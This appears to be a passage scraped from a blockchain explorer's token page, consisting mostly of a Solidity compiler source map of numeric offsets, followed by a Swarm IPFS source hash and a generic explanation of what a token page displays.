2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;4813:251::-;4883:6;4936:2;4924:9;4915:7;4911:23;4907:32;4904:52;;;4952:1;4949;4942:12;4904:52;4984:9;4978:16;5003:31;5028:5;5003:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;6932:277::-;6999:6;7052:2;7040:9;7031:7;7027:23;7023:32;7020:52;;;7068:1;7065;7058:12;7020:52;7100:9;7094:16;7153:5;7146:13;7139:21;7132:5;7129:32;7119:60;;7175:1;7172;7165:12;10078:125;10143:9;;;10164:10;;;10161:36;;;10177:18;;:::i;10563:135::-;10602:3;10623:17;;;10620:43;;10643:18;;:::i;:::-;-1:-1:-1;10690:1:1;10679:13;;10563:135::o;10703:128::-;10770:9;;;10791:11;;;10788:37;;;10805:18;;:::i;11192:217::-;11232:1;11258;11248:132;;11302:10;11297:3;11293:20;11290:1;11283:31;11337:4;11334:1;11327:15;11365:4;11362:1;11355:15;11248:132;-1:-1:-1;11394:9:1;;11192:217::o;11948:127::-;12009:10;12004:3;12000:20;11997:1;11990:31;12040:4;12037:1;12030:15;12064:4;12061:1;12054:15;12080:980;12342:4;12390:3;12379:9;12375:19;12421:6;12410:9;12403:25;12447:2;12485:6;12480:2;12469:9;12465:18;12458:34;12528:3;12523:2;12512:9;12508:18;12501:31;12552:6;12587;12581:13;12618:6;12610;12603:22;12656:3;12645:9;12641:19;12634:26;;12695:2;12687:6;12683:15;12669:29;;12716:1;12726:195;12740:6;12737:1;12734:13;12726:195;;;12805:13;;-1:-1:-1;;;;;12801:39:1;12789:52;;12896:15;;;;12861:12;;;;12837:1;12755:9;12726:195;;;-1:-1:-1;;;;;;;12977:32:1;;;;12972:2;12957:18;;12950:60;-1:-1:-1;;;13041:3:1;13026:19;13019:35;12938:3;12080:980;-1:-1:-1;;;12080:980:1:o

Swarm Source

ipfs://e5851d11bccf5c1c1566bacc605848447ad5e8e0addf3ea9973504ac67b977ec
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.